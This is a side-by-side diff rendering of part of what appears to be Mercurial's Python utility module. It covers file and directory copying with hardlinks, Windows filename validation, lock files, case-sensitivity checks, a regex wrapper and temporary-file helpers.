1881 | fstype = getfstype(os.path.dirname(dest)) | |
1883 | except OSError: |
|
1882 | except OSError: | |
1884 | fstype = None |
|
1883 | fstype = None | |
1885 | if fstype not in _hardlinkfswhitelist: |
|
1884 | if fstype not in _hardlinkfswhitelist: | |
1886 | hardlink = False |
|
1885 | hardlink = False | |
1887 | if hardlink: |
|
1886 | if hardlink: | |
1888 | try: |
|
1887 | try: | |
1889 | oslink(src, dest) |
|
1888 | oslink(src, dest) | |
1890 | return |
|
1889 | return | |
1891 | except (IOError, OSError): |
|
1890 | except (IOError, OSError): | |
1892 | pass # fall back to normal copy |
|
1891 | pass # fall back to normal copy | |
1893 | if os.path.islink(src): |
|
1892 | if os.path.islink(src): | |
1894 | os.symlink(os.readlink(src), dest) |
|
1893 | os.symlink(os.readlink(src), dest) | |
1895 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1894 | # copytime is ignored for symlinks, but in general copytime isn't needed | |
1896 | # for them anyway |
|
1895 | # for them anyway | |
1897 | else: |
|
1896 | else: | |
1898 | try: |
|
1897 | try: | |
1899 | shutil.copyfile(src, dest) |
|
1898 | shutil.copyfile(src, dest) | |
1900 | if copystat: |
|
1899 | if copystat: | |
1901 | # copystat also copies mode |
|
1900 | # copystat also copies mode | |
1902 | shutil.copystat(src, dest) |
|
1901 | shutil.copystat(src, dest) | |
1903 | else: |
|
1902 | else: | |
1904 | shutil.copymode(src, dest) |
|
1903 | shutil.copymode(src, dest) | |
1905 | if oldstat and oldstat.stat: |
|
1904 | if oldstat and oldstat.stat: | |
1906 | newstat = filestat.frompath(dest) |
|
1905 | newstat = filestat.frompath(dest) | |
1907 | if newstat.isambig(oldstat): |
|
1906 | if newstat.isambig(oldstat): | |
1908 | # stat of copied file is ambiguous to original one |
|
1907 | # stat of copied file is ambiguous to original one | |
1909 | advanced = ( |
|
1908 | advanced = ( | |
1910 | oldstat.stat[stat.ST_MTIME] + 1 |
|
1909 | oldstat.stat[stat.ST_MTIME] + 1 | |
1911 | ) & 0x7FFFFFFF |
|
1910 | ) & 0x7FFFFFFF | |
1912 | os.utime(dest, (advanced, advanced)) |
|
1911 | os.utime(dest, (advanced, advanced)) | |
1913 | except shutil.Error as inst: |
|
1912 | except shutil.Error as inst: | |
1914 | raise error.Abort(str(inst)) |
|
1913 | raise error.Abort(str(inst)) | |
1915 |
|
1914 | |||
1916 |
|
1915 | |||
1917 | def copyfiles(src, dst, hardlink=None, progress=None): |
|
1916 | def copyfiles(src, dst, hardlink=None, progress=None): | |
1918 | """Copy a directory tree using hardlinks if possible.""" |
|
1917 | """Copy a directory tree using hardlinks if possible.""" | |
1919 | num = 0 |
|
1918 | num = 0 | |
1920 |
|
1919 | |||
1921 | def settopic(): |
|
1920 | def settopic(): | |
1922 | if progress: |
|
1921 | if progress: | |
1923 | progress.topic = _(b'linking') if hardlink else _(b'copying') |
|
1922 | progress.topic = _(b'linking') if hardlink else _(b'copying') | |
1924 |
|
1923 | |||
1925 | if os.path.isdir(src): |
|
1924 | if os.path.isdir(src): | |
1926 | if hardlink is None: |
|
1925 | if hardlink is None: | |
1927 | hardlink = ( |
|
1926 | hardlink = ( | |
1928 | os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev |
|
1927 | os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev | |
1929 | ) |
|
1928 | ) | |
1930 | settopic() |
|
1929 | settopic() | |
1931 | os.mkdir(dst) |
|
1930 | os.mkdir(dst) | |
1932 | for name, kind in listdir(src): |
|
1931 | for name, kind in listdir(src): | |
1933 | srcname = os.path.join(src, name) |
|
1932 | srcname = os.path.join(src, name) | |
1934 | dstname = os.path.join(dst, name) |
|
1933 | dstname = os.path.join(dst, name) | |
1935 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
|
1934 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress) | |
1936 | num += n |
|
1935 | num += n | |
1937 | else: |
|
1936 | else: | |
1938 | if hardlink is None: |
|
1937 | if hardlink is None: | |
1939 | hardlink = ( |
|
1938 | hardlink = ( | |
1940 | os.stat(os.path.dirname(src)).st_dev |
|
1939 | os.stat(os.path.dirname(src)).st_dev | |
1941 | == os.stat(os.path.dirname(dst)).st_dev |
|
1940 | == os.stat(os.path.dirname(dst)).st_dev | |
1942 | ) |
|
1941 | ) | |
1943 | settopic() |
|
1942 | settopic() | |
1944 |
|
1943 | |||
1945 | if hardlink: |
|
1944 | if hardlink: | |
1946 | try: |
|
1945 | try: | |
1947 | oslink(src, dst) |
|
1946 | oslink(src, dst) | |
1948 | except (IOError, OSError): |
|
1947 | except (IOError, OSError): | |
1949 | hardlink = False |
|
1948 | hardlink = False | |
1950 | shutil.copy(src, dst) |
|
1949 | shutil.copy(src, dst) | |
1951 | else: |
|
1950 | else: | |
1952 | shutil.copy(src, dst) |
|
1951 | shutil.copy(src, dst) | |
1953 | num += 1 |
|
1952 | num += 1 | |
1954 | if progress: |
|
1953 | if progress: | |
1955 | progress.increment() |
|
1954 | progress.increment() | |
1956 |
|
1955 | |||
1957 | return hardlink, num |
|
1956 | return hardlink, num | |
1958 |
|
1957 | |||
1959 |
|
1958 | |||
1960 | _winreservednames = { |
|
1959 | _winreservednames = { | |
1961 | b'con', |
|
1960 | b'con', | |
1962 | b'prn', |
|
1961 | b'prn', | |
1963 | b'aux', |
|
1962 | b'aux', | |
1964 | b'nul', |
|
1963 | b'nul', | |
1965 | b'com1', |
|
1964 | b'com1', | |
1966 | b'com2', |
|
1965 | b'com2', | |
1967 | b'com3', |
|
1966 | b'com3', | |
1968 | b'com4', |
|
1967 | b'com4', | |
1969 | b'com5', |
|
1968 | b'com5', | |
1970 | b'com6', |
|
1969 | b'com6', | |
1971 | b'com7', |
|
1970 | b'com7', | |
1972 | b'com8', |
|
1971 | b'com8', | |
1973 | b'com9', |
|
1972 | b'com9', | |
1974 | b'lpt1', |
|
1973 | b'lpt1', | |
1975 | b'lpt2', |
|
1974 | b'lpt2', | |
1976 | b'lpt3', |
|
1975 | b'lpt3', | |
1977 | b'lpt4', |
|
1976 | b'lpt4', | |
1978 | b'lpt5', |
|
1977 | b'lpt5', | |
1979 | b'lpt6', |
|
1978 | b'lpt6', | |
1980 | b'lpt7', |
|
1979 | b'lpt7', | |
1981 | b'lpt8', |
|
1980 | b'lpt8', | |
1982 | b'lpt9', |
|
1981 | b'lpt9', | |
1983 | } |
|
1982 | } | |
1984 | _winreservedchars = b':*?"<>|' |
|
1983 | _winreservedchars = b':*?"<>|' | |
1985 |
|
1984 | |||
1986 |
|
1985 | |||
1987 | def checkwinfilename(path): |
|
1986 | def checkwinfilename(path): | |
1988 | r'''Check that the base-relative path is a valid filename on Windows. |
|
1987 | r'''Check that the base-relative path is a valid filename on Windows. | |
1989 | Returns None if the path is ok, or a UI string describing the problem. |
|
1988 | Returns None if the path is ok, or a UI string describing the problem. | |
1990 |
|
1989 | |||
1991 | >>> checkwinfilename(b"just/a/normal/path") |
|
1990 | >>> checkwinfilename(b"just/a/normal/path") | |
1992 | >>> checkwinfilename(b"foo/bar/con.xml") |
|
1991 | >>> checkwinfilename(b"foo/bar/con.xml") | |
1993 | "filename contains 'con', which is reserved on Windows" |
|
1992 | "filename contains 'con', which is reserved on Windows" | |
1994 | >>> checkwinfilename(b"foo/con.xml/bar") |
|
1993 | >>> checkwinfilename(b"foo/con.xml/bar") | |
1995 | "filename contains 'con', which is reserved on Windows" |
|
1994 | "filename contains 'con', which is reserved on Windows" | |
1996 | >>> checkwinfilename(b"foo/bar/xml.con") |
|
1995 | >>> checkwinfilename(b"foo/bar/xml.con") | |
1997 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
|
1996 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") | |
1998 | "filename contains 'AUX', which is reserved on Windows" |
|
1997 | "filename contains 'AUX', which is reserved on Windows" | |
1999 | >>> checkwinfilename(b"foo/bar/bla:.txt") |
|
1998 | >>> checkwinfilename(b"foo/bar/bla:.txt") | |
2000 | "filename contains ':', which is reserved on Windows" |
|
1999 | "filename contains ':', which is reserved on Windows" | |
2001 | >>> checkwinfilename(b"foo/bar/b\07la.txt") |
|
2000 | >>> checkwinfilename(b"foo/bar/b\07la.txt") | |
2002 | "filename contains '\\x07', which is invalid on Windows" |
|
2001 | "filename contains '\\x07', which is invalid on Windows" | |
2003 | >>> checkwinfilename(b"foo/bar/bla ") |
|
2002 | >>> checkwinfilename(b"foo/bar/bla ") | |
2004 | "filename ends with ' ', which is not allowed on Windows" |
|
2003 | "filename ends with ' ', which is not allowed on Windows" | |
2005 | >>> checkwinfilename(b"../bar") |
|
2004 | >>> checkwinfilename(b"../bar") | |
2006 | >>> checkwinfilename(b"foo\\") |
|
2005 | >>> checkwinfilename(b"foo\\") | |
2007 | "filename ends with '\\', which is invalid on Windows" |
|
2006 | "filename ends with '\\', which is invalid on Windows" | |
2008 | >>> checkwinfilename(b"foo\\/bar") |
|
2007 | >>> checkwinfilename(b"foo\\/bar") | |
2009 | "directory name ends with '\\', which is invalid on Windows" |
|
2008 | "directory name ends with '\\', which is invalid on Windows" | |
2010 | ''' |
|
2009 | ''' | |
2011 | if path.endswith(b'\\'): |
|
2010 | if path.endswith(b'\\'): | |
2012 | return _(b"filename ends with '\\', which is invalid on Windows") |
|
2011 | return _(b"filename ends with '\\', which is invalid on Windows") | |
2013 | if b'\\/' in path: |
|
2012 | if b'\\/' in path: | |
2014 | return _(b"directory name ends with '\\', which is invalid on Windows") |
|
2013 | return _(b"directory name ends with '\\', which is invalid on Windows") | |
2015 | for n in path.replace(b'\\', b'/').split(b'/'): |
|
2014 | for n in path.replace(b'\\', b'/').split(b'/'): | |
2016 | if not n: |
|
2015 | if not n: | |
2017 | continue |
|
2016 | continue | |
2018 | for c in _filenamebytestr(n): |
|
2017 | for c in _filenamebytestr(n): | |
2019 | if c in _winreservedchars: |
|
2018 | if c in _winreservedchars: | |
2020 | return ( |
|
2019 | return ( | |
2021 | _( |
|
2020 | _( | |
2022 | b"filename contains '%s', which is reserved " |
|
2021 | b"filename contains '%s', which is reserved " | |
2023 | b"on Windows" |
|
2022 | b"on Windows" | |
2024 | ) |
|
2023 | ) | |
2025 | % c |
|
2024 | % c | |
2026 | ) |
|
2025 | ) | |
2027 | if ord(c) <= 31: |
|
2026 | if ord(c) <= 31: | |
2028 | return _( |
|
2027 | return _( | |
2029 | b"filename contains '%s', which is invalid on Windows" |
|
2028 | b"filename contains '%s', which is invalid on Windows" | |
2030 | ) % stringutil.escapestr(c) |
|
2029 | ) % stringutil.escapestr(c) | |
2031 | base = n.split(b'.')[0] |
|
2030 | base = n.split(b'.')[0] | |
2032 | if base and base.lower() in _winreservednames: |
|
2031 | if base and base.lower() in _winreservednames: | |
2033 | return ( |
|
2032 | return ( | |
2034 | _(b"filename contains '%s', which is reserved on Windows") |
|
2033 | _(b"filename contains '%s', which is reserved on Windows") | |
2035 | % base |
|
2034 | % base | |
2036 | ) |
|
2035 | ) | |
2037 | t = n[-1:] |
|
2036 | t = n[-1:] | |
2038 | if t in b'. ' and n not in b'..': |
|
2037 | if t in b'. ' and n not in b'..': | |
2039 | return ( |
|
2038 | return ( | |
2040 | _( |
|
2039 | _( | |
2041 | b"filename ends with '%s', which is not allowed " |
|
2040 | b"filename ends with '%s', which is not allowed " | |
2042 | b"on Windows" |
|
2041 | b"on Windows" | |
2043 | ) |
|
2042 | ) | |
2044 | % t |
|
2043 | % t | |
2045 | ) |
|
2044 | ) | |
2046 |
|
2045 | |||
2047 |
|
2046 | |||
2048 | if pycompat.iswindows: |
|
2047 | if pycompat.iswindows: | |
2049 | checkosfilename = checkwinfilename |
|
2048 | checkosfilename = checkwinfilename | |
2050 | timer = time.clock |
|
2049 | timer = time.clock | |
2051 | else: |
|
2050 | else: | |
2052 | checkosfilename = platform.checkosfilename |
|
2051 | checkosfilename = platform.checkosfilename | |
2053 | timer = time.time |
|
2052 | timer = time.time | |
2054 |
|
2053 | |||
2055 | if safehasattr(time, "perf_counter"): |
|
2054 | if safehasattr(time, "perf_counter"): | |
2056 | timer = time.perf_counter |
|
2055 | timer = time.perf_counter | |
2057 |
|
2056 | |||
2058 |
|
2057 | |||
2059 | def makelock(info, pathname): |
|
2058 | def makelock(info, pathname): | |
2060 | """Create a lock file atomically if possible |
|
2059 | """Create a lock file atomically if possible | |
2061 |
|
2060 | |||
2062 | This may leave a stale lock file if symlink isn't supported and signal |
|
2061 | This may leave a stale lock file if symlink isn't supported and signal | |
2063 | interrupt is enabled. |
|
2062 | interrupt is enabled. | |
2064 | """ |
|
2063 | """ | |
2065 | try: |
|
2064 | try: | |
2066 | return os.symlink(info, pathname) |
|
2065 | return os.symlink(info, pathname) | |
2067 | except OSError as why: |
|
2066 | except OSError as why: | |
2068 | if why.errno == errno.EEXIST: |
|
2067 | if why.errno == errno.EEXIST: | |
2069 | raise |
|
2068 | raise | |
2070 | except AttributeError: # no symlink in os |
|
2069 | except AttributeError: # no symlink in os | |
2071 | pass |
|
2070 | pass | |
2072 |
|
2071 | |||
2073 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
|
2072 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) | |
2074 | ld = os.open(pathname, flags) |
|
2073 | ld = os.open(pathname, flags) | |
2075 | os.write(ld, info) |
|
2074 | os.write(ld, info) | |
2076 | os.close(ld) |
|
2075 | os.close(ld) | |
2077 |
|
2076 | |||
2078 |
|
2077 | |||
2079 | def readlock(pathname): |
|
2078 | def readlock(pathname): | |
2080 | try: |
|
2079 | try: | |
2081 | return readlink(pathname) |
|
2080 | return readlink(pathname) | |
2082 | except OSError as why: |
|
2081 | except OSError as why: | |
2083 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
2082 | if why.errno not in (errno.EINVAL, errno.ENOSYS): | |
2084 | raise |
|
2083 | raise | |
2085 | except AttributeError: # no symlink in os |
|
2084 | except AttributeError: # no symlink in os | |
2086 | pass |
|
2085 | pass | |
2087 | with posixfile(pathname, b'rb') as fp: |
|
2086 | with posixfile(pathname, b'rb') as fp: | |
2088 | return fp.read() |
|
2087 | return fp.read() | |
2089 |
|
2088 | |||
2090 |
|
2089 | |||
2091 | def fstat(fp): |
|
2090 | def fstat(fp): | |
2092 | '''stat file object that may not have fileno method.''' |
|
2091 | '''stat file object that may not have fileno method.''' | |
2093 | try: |
|
2092 | try: | |
2094 | return os.fstat(fp.fileno()) |
|
2093 | return os.fstat(fp.fileno()) | |
2095 | except AttributeError: |
|
2094 | except AttributeError: | |
2096 | return os.stat(fp.name) |
|
2095 | return os.stat(fp.name) | |
2097 |
|
2096 | |||
2098 |
|
2097 | |||
2099 | # File system features |
|
2098 | # File system features | |
2100 |
|
2099 | |||
2101 |
|
2100 | |||
2102 | def fscasesensitive(path): |
|
2101 | def fscasesensitive(path): | |
2103 | """ |
|
2102 | """ | |
2104 | Return true if the given path is on a case-sensitive filesystem |
|
2103 | Return true if the given path is on a case-sensitive filesystem | |
2105 |
|
2104 | |||
2106 | Requires a path (like /foo/.hg) ending with a foldable final |
|
2105 | Requires a path (like /foo/.hg) ending with a foldable final | |
2107 | directory component. |
|
2106 | directory component. | |
2108 | """ |
|
2107 | """ | |
2109 | s1 = os.lstat(path) |
|
2108 | s1 = os.lstat(path) | |
2110 | d, b = os.path.split(path) |
|
2109 | d, b = os.path.split(path) | |
2111 | b2 = b.upper() |
|
2110 | b2 = b.upper() | |
2112 | if b == b2: |
|
2111 | if b == b2: | |
2113 | b2 = b.lower() |
|
2112 | b2 = b.lower() | |
2114 | if b == b2: |
|
2113 | if b == b2: | |
2115 | return True # no evidence against case sensitivity |
|
2114 | return True # no evidence against case sensitivity | |
2116 | p2 = os.path.join(d, b2) |
|
2115 | p2 = os.path.join(d, b2) | |
2117 | try: |
|
2116 | try: | |
2118 | s2 = os.lstat(p2) |
|
2117 | s2 = os.lstat(p2) | |
2119 | if s2 == s1: |
|
2118 | if s2 == s1: | |
2120 | return False |
|
2119 | return False | |
2121 | return True |
|
2120 | return True | |
2122 | except OSError: |
|
2121 | except OSError: | |
2123 | return True |
|
2122 | return True | |
2124 |
|
2123 | |||
2125 |
|
2124 | |||
2126 | try: |
|
2125 | try: | |
2127 | import re2 |
|
2126 | import re2 | |
2128 |
|
2127 | |||
2129 | _re2 = None |
|
2128 | _re2 = None | |
2130 | except ImportError: |
|
2129 | except ImportError: | |
2131 | _re2 = False |
|
2130 | _re2 = False | |
2132 |
|
2131 | |||
2133 |
|
2132 | |||
2134 | class _re(object): |
|
2133 | class _re(object): | |
2135 | def _checkre2(self): |
|
2134 | def _checkre2(self): | |
2136 | global _re2 |
|
2135 | global _re2 | |
2137 | try: |
|
2136 | try: | |
2138 | # check if match works, see issue3964 |
|
2137 | # check if match works, see issue3964 | |
2139 | _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) |
|
2138 | _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) | |
2140 | except ImportError: |
|
2139 | except ImportError: | |
2141 | _re2 = False |
|
2140 | _re2 = False | |
2142 |
|
2141 | |||
2143 | def compile(self, pat, flags=0): |
|
2142 | def compile(self, pat, flags=0): | |
2144 | '''Compile a regular expression, using re2 if possible |
|
2143 | '''Compile a regular expression, using re2 if possible | |
2145 |
|
2144 | |||
2146 | For best performance, use only re2-compatible regexp features. The |
|
2145 | For best performance, use only re2-compatible regexp features. The | |
2147 | only flags from the re module that are re2-compatible are |
|
2146 | only flags from the re module that are re2-compatible are | |
2148 | IGNORECASE and MULTILINE.''' |
|
2147 | IGNORECASE and MULTILINE.''' | |
2149 | if _re2 is None: |
|
2148 | if _re2 is None: | |
2150 | self._checkre2() |
|
2149 | self._checkre2() | |
2151 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
2150 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: | |
2152 | if flags & remod.IGNORECASE: |
|
2151 | if flags & remod.IGNORECASE: | |
2153 | pat = b'(?i)' + pat |
|
2152 | pat = b'(?i)' + pat | |
2154 | if flags & remod.MULTILINE: |
|
2153 | if flags & remod.MULTILINE: | |
2155 | pat = b'(?m)' + pat |
|
2154 | pat = b'(?m)' + pat | |
2156 | try: |
|
2155 | try: | |
2157 | return re2.compile(pat) |
|
2156 | return re2.compile(pat) | |
2158 | except re2.error: |
|
2157 | except re2.error: | |
2159 | pass |
|
2158 | pass | |
2160 | return remod.compile(pat, flags) |
|
2159 | return remod.compile(pat, flags) | |
2161 |
|
2160 | |||
2162 | @propertycache |
|
2161 | @propertycache | |
2163 | def escape(self): |
|
2162 | def escape(self): | |
2164 | '''Return the version of escape corresponding to self.compile. |
|
2163 | '''Return the version of escape corresponding to self.compile. | |
2165 |
|
2164 | |||
2166 | This is imperfect because whether re2 or re is used for a particular |
|
2165 | This is imperfect because whether re2 or re is used for a particular | |
2167 | function depends on the flags, etc, but it's the best we can do. |
|
2166 | function depends on the flags, etc, but it's the best we can do. | |
2168 | ''' |
|
2167 | ''' | |
2169 | global _re2 |
|
2168 | global _re2 | |
2170 | if _re2 is None: |
|
2169 | if _re2 is None: | |
2171 | self._checkre2() |
|
2170 | self._checkre2() | |
2172 | if _re2: |
|
2171 | if _re2: | |
2173 | return re2.escape |
|
2172 | return re2.escape | |
2174 | else: |
|
2173 | else: | |
2175 | return remod.escape |
|
2174 | return remod.escape | |
2176 |
|
2175 | |||
2177 |
|
2176 | |||
2178 | re = _re() |
|
2177 | re = _re() | |
2179 |
|
2178 | |||
2180 | _fspathcache = {} |
|
2179 | _fspathcache = {} | |
2181 |
|
2180 | |||
2182 |
|
2181 | |||
2183 | def fspath(name, root): |
|
2182 | def fspath(name, root): | |
2184 | '''Get name in the case stored in the filesystem |
|
2183 | '''Get name in the case stored in the filesystem | |
2185 |
|
2184 | |||
2186 | The name should be relative to root, and be normcase-ed for efficiency. |
|
2185 | The name should be relative to root, and be normcase-ed for efficiency. | |
2187 |
|
2186 | |||
2188 | Note that this function is unnecessary, and should not be |
|
2187 | Note that this function is unnecessary, and should not be | |
2189 | called, for case-sensitive filesystems (simply because it's expensive). |
|
2188 | called, for case-sensitive filesystems (simply because it's expensive). | |
2190 |
|
2189 | |||
2191 | The root should be normcase-ed, too. |
|
2190 | The root should be normcase-ed, too. | |
2192 | ''' |
|
2191 | ''' | |
2193 |
|
2192 | |||
2194 | def _makefspathcacheentry(dir): |
|
2193 | def _makefspathcacheentry(dir): | |
2195 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
2194 | return dict((normcase(n), n) for n in os.listdir(dir)) | |
2196 |
|
2195 | |||
2197 | seps = pycompat.ossep |
|
2196 | seps = pycompat.ossep | |
2198 | if pycompat.osaltsep: |
|
2197 | if pycompat.osaltsep: | |
2199 | seps = seps + pycompat.osaltsep |
|
2198 | seps = seps + pycompat.osaltsep | |
2200 | # Protect backslashes. This gets silly very quickly. |
|
2199 | # Protect backslashes. This gets silly very quickly. | |
2201 | seps.replace(b'\\', b'\\\\') |
|
2200 | seps.replace(b'\\', b'\\\\') | |
2202 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
2201 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) | |
2203 | dir = os.path.normpath(root) |
|
2202 | dir = os.path.normpath(root) | |
2204 | result = [] |
|
2203 | result = [] | |
2205 | for part, sep in pattern.findall(name): |
|
2204 | for part, sep in pattern.findall(name): | |
2206 | if sep: |
|
2205 | if sep: | |
2207 | result.append(sep) |
|
2206 | result.append(sep) | |
2208 | continue |
|
2207 | continue | |
2209 |
|
2208 | |||
2210 | if dir not in _fspathcache: |
|
2209 | if dir not in _fspathcache: | |
2211 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
2210 | _fspathcache[dir] = _makefspathcacheentry(dir) | |
2212 | contents = _fspathcache[dir] |
|
2211 | contents = _fspathcache[dir] | |
2213 |
|
2212 | |||
2214 | found = contents.get(part) |
|
2213 | found = contents.get(part) | |
2215 | if not found: |
|
2214 | if not found: | |
2216 | # retry "once per directory" per "dirstate.walk" which |
|
2215 | # retry "once per directory" per "dirstate.walk" which | |
2217 | # may take place for each patches of "hg qpush", for example |
|
2216 | # may take place for each patches of "hg qpush", for example | |
2218 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
2217 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) | |
2219 | found = contents.get(part) |
|
2218 | found = contents.get(part) | |
2220 |
|
2219 | |||
2221 | result.append(found or part) |
|
2220 | result.append(found or part) | |
2222 | dir = os.path.join(dir, part) |
|
2221 | dir = os.path.join(dir, part) | |
2223 |
|
2222 | |||
2224 | return b''.join(result) |
|
2223 | return b''.join(result) | |
2225 |
|
2224 | |||
2226 |
|
2225 | |||
2227 | def checknlink(testfile): |
|
2226 | def checknlink(testfile): | |
2228 | '''check whether hardlink count reporting works properly''' |
|
2227 | '''check whether hardlink count reporting works properly''' | |
2229 |
|
2228 | |||
2230 | # testfile may be open, so we need a separate file for checking to |
|
2229 | # testfile may be open, so we need a separate file for checking to | |
2231 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
2230 | # work around issue2543 (or testfile may get lost on Samba shares) | |
2232 | f1, f2, fp = None, None, None |
|
2231 | f1, f2, fp = None, None, None | |
2233 | try: |
|
2232 | try: | |
2234 | fd, f1 = pycompat.mkstemp( |
|
2233 | fd, f1 = pycompat.mkstemp( | |
2235 | prefix=b'.%s-' % os.path.basename(testfile), |
|
2234 | prefix=b'.%s-' % os.path.basename(testfile), | |
2236 | suffix=b'1~', |
|
2235 | suffix=b'1~', | |
2237 | dir=os.path.dirname(testfile), |
|
2236 | dir=os.path.dirname(testfile), | |
2238 | ) |
|
2237 | ) | |
2239 | os.close(fd) |
|
2238 | os.close(fd) | |
2240 | f2 = b'%s2~' % f1[:-2] |
|
2239 | f2 = b'%s2~' % f1[:-2] | |
2241 |
|
2240 | |||
2242 | oslink(f1, f2) |
|
2241 | oslink(f1, f2) | |
2243 | # nlinks() may behave differently for files on Windows shares if |
|
2242 | # nlinks() may behave differently for files on Windows shares if | |
2244 | # the file is open. |
|
2243 | # the file is open. | |
2245 | fp = posixfile(f2) |
|
2244 | fp = posixfile(f2) | |
2246 | return nlinks(f2) > 1 |
|
2245 | return nlinks(f2) > 1 | |
2247 | except OSError: |
|
2246 | except OSError: | |
2248 | return False |
|
2247 | return False | |
2249 | finally: |
|
2248 | finally: | |
2250 | if fp is not None: |
|
2249 | if fp is not None: | |
2251 | fp.close() |
|
2250 | fp.close() | |
2252 | for f in (f1, f2): |
|
2251 | for f in (f1, f2): | |
2253 | try: |
|
2252 | try: | |
2254 | if f is not None: |
|
2253 | if f is not None: | |
2255 | os.unlink(f) |
|
2254 | os.unlink(f) | |
2256 | except OSError: |
|
2255 | except OSError: | |
2257 | pass |
|
2256 | pass | |
2258 |
|
2257 | |||
2259 |
|
2258 | |||
2260 | def endswithsep(path): |
|
2259 | def endswithsep(path): | |
2261 | '''Check path ends with os.sep or os.altsep.''' |
|
2260 | '''Check path ends with os.sep or os.altsep.''' | |
2262 | return ( |
|
2261 | return ( | |
2263 | path.endswith(pycompat.ossep) |
|
2262 | path.endswith(pycompat.ossep) | |
2264 | or pycompat.osaltsep |
|
2263 | or pycompat.osaltsep | |
2265 | and path.endswith(pycompat.osaltsep) |
|
2264 | and path.endswith(pycompat.osaltsep) | |
2266 | ) |
|
2265 | ) | |
2267 |
|
2266 | |||
2268 |
|
2267 | |||
2269 | def splitpath(path): |
|
2268 | def splitpath(path): | |
2270 | '''Split path by os.sep. |
|
2269 | '''Split path by os.sep. | |
2271 | Note that this function does not use os.altsep because this is |
|
2270 | Note that this function does not use os.altsep because this is | |
2272 | an alternative of simple "xxx.split(os.sep)". |
|
2271 | an alternative of simple "xxx.split(os.sep)". | |
2273 | It is recommended to use os.path.normpath() before using this |
|
2272 | It is recommended to use os.path.normpath() before using this | |
2274 | function if need.''' |
|
2273 | function if need.''' | |
2275 | return path.split(pycompat.ossep) |
|
2274 | return path.split(pycompat.ossep) | |
2276 |
|
2275 | |||
2277 |
|
2276 | |||
2278 | def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): |
|
2277 | def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): | |
2279 | """Create a temporary file with the same contents from name |
|
2278 | """Create a temporary file with the same contents from name | |
2280 |
|
2279 | |||
2281 | The permission bits are copied from the original file. |
|
2280 | The permission bits are copied from the original file. | |
2282 |
|
2281 | |||
2283 | If the temporary file is going to be truncated immediately, you |
|
2282 | If the temporary file is going to be truncated immediately, you | |
2284 | can use emptyok=True as an optimization. |
|
2283 | can use emptyok=True as an optimization. | |
2285 |
|
2284 | |||
2286 | Returns the name of the temporary file. |
|
2285 | Returns the name of the temporary file. | |
2287 | """ |
|
2286 | """ | |
2288 | d, fn = os.path.split(name) |
|
2287 | d, fn = os.path.split(name) | |
2289 | fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) |
|
2288 | fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) | |
2290 | os.close(fd) |
|
2289 | os.close(fd) | |
2291 | # Temporary files are created with mode 0600, which is usually not |
|
2290 | # Temporary files are created with mode 0600, which is usually not | |
2292 | # what we want. If the original file already exists, just copy |
|
2291 | # what we want. If the original file already exists, just copy | |
2293 | # its mode. Otherwise, manually obey umask. |
|
2292 | # its mode. Otherwise, manually obey umask. | |
2294 | copymode(name, temp, createmode, enforcewritable) |
|
2293 | copymode(name, temp, createmode, enforcewritable) | |
2295 |
|
2294 | |||
2296 | if emptyok: |
|
2295 | if emptyok: | |
2297 | return temp |
|
2296 | return temp | |
2298 | try: |
|
2297 | try: | |
2299 | try: |
|
2298 | try: | |
2300 | ifp = posixfile(name, b"rb") |
|
2299 | ifp = posixfile(name, b"rb") | |
2301 | except IOError as inst: |
|
2300 | except IOError as inst: | |
2302 | if inst.errno == errno.ENOENT: |
|
2301 | if inst.errno == errno.ENOENT: | |
2303 | return temp |
|
2302 | return temp | |
2304 | if not getattr(inst, 'filename', None): |
|
2303 | if not getattr(inst, 'filename', None): | |
2305 | inst.filename = name |
|
2304 | inst.filename = name | |
2306 | raise |
|
2305 | raise | |
2307 | ofp = posixfile(temp, b"wb") |
|
2306 | ofp = posixfile(temp, b"wb") | |
2308 | for chunk in filechunkiter(ifp): |
|
2307 | for chunk in filechunkiter(ifp): | |
2309 | ofp.write(chunk) |
|
2308 | ofp.write(chunk) | |
2310 | ifp.close() |
|
2309 | ifp.close() | |
2311 | ofp.close() |
|
2310 | ofp.close() | |
2312 | except: # re-raises |
|
2311 | except: # re-raises | |
2313 | try: |
|
2312 | try: | |
2314 | os.unlink(temp) |
|
2313 | os.unlink(temp) | |
2315 | except OSError: |
|
2314 | except OSError: | |
2316 | pass |
|
2315 | pass | |
2317 | raise |
|
2316 | raise | |
2318 | return temp |
|
2317 | return temp | |
2319 |
|
2318 | |||
2320 |
|
2319 | |||
2321 | class filestat(object): |
|
2320 | class filestat(object): | |
2322 | """help to exactly detect change of a file |
|
2321 | """help to exactly detect change of a file | |
2323 |
|
2322 | |||
2324 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
2323 | 'stat' attribute is result of 'os.stat()' if specified 'path' | |
2325 | exists. Otherwise, it is None. This can avoid preparative |
|
2324 | exists. Otherwise, it is None. This can avoid preparative | |
2326 | 'exists()' examination on client side of this class. |
|
2325 | 'exists()' examination on client side of this class. | |
2327 | """ |
|
2326 | """ | |
2328 |
|
2327 | |||
